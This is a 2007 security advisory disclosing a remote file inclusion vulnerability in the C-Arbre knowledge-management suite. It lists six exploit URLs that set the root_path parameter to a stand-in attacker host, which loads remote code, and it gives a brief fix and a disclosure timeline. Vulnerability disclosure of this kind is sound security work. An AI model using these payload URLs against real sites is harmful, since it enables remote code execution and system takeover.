ECHO_ADV_78$2007

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[ECHO_ADV_78$2007] C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability
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Author         : M.Hasran Addahroni
Date           : March, 26th 2007
Location       : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv78-K-159-2007.txt 
Critical Lvl   : Dangerous
Impact	       : System access
Where	       : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : C-Arbre  
version       : <= 0.6PR7
Vendor : http://realink.org/ 
Download : http://fresh.t-systems-sfr.com/unix/src/www/c-arbre_0.6PR7_full.tar.gz 
Description :

C-Arbre is an integrated Intranet/Web software suite oriented towards knowledge management. Some of its key features include a CMS, 
a documents repository, handling of collaborative work and editions, templates engineering, support for DocBook XML, XHTML and Wiki style, permissions and work flow,
a search engine with full text indexing, logging of actions, a cache system, groupware tools (calendar, Web mail, mailing lists, etc.), 
automatic generation of a Web portal, and internationalization of the interface.

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Vulnerability:
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- Invalid include function at lib/Richtxt_functions.inc.php :  
  =09
----------------lib/Richtxt_functions.inc.php-------------------
http://www.target.com/[C-Abre_path]/lib/Richtxt_functions.inc.php?root_path=http://attacker.com/evil? 
http://www.target.com/[C-Abre_path]/lib/adddocfile.php?root_path=http://attacker.com/evil? 
http://www.target.com/[C-Abre_path]/lib/auth_check.php?root_path=http://attacker.com/evil? 
http://www.target.com/[C-Abre_path]/lib/browse_current_category.inc.php?root_path=http://attacker.com/evil? 
http://www.target.com/[C-Abre_path]/lib/docfile_details.php?root_path=http://attacker.com/evil? 
http://www.target.com/[C-Abre_path]/lib/main.php?root_path=http://attacker.com/evil? 


Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn off register_globals


Notification:
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- 19-03-2007 bugs found
- 26-03-2007 vendor contacted
- 27-03-2007 advisory released
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Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com 
~ #aikmel #e-c-h-o @irc.dal.net 

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Contact:
~~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/ 

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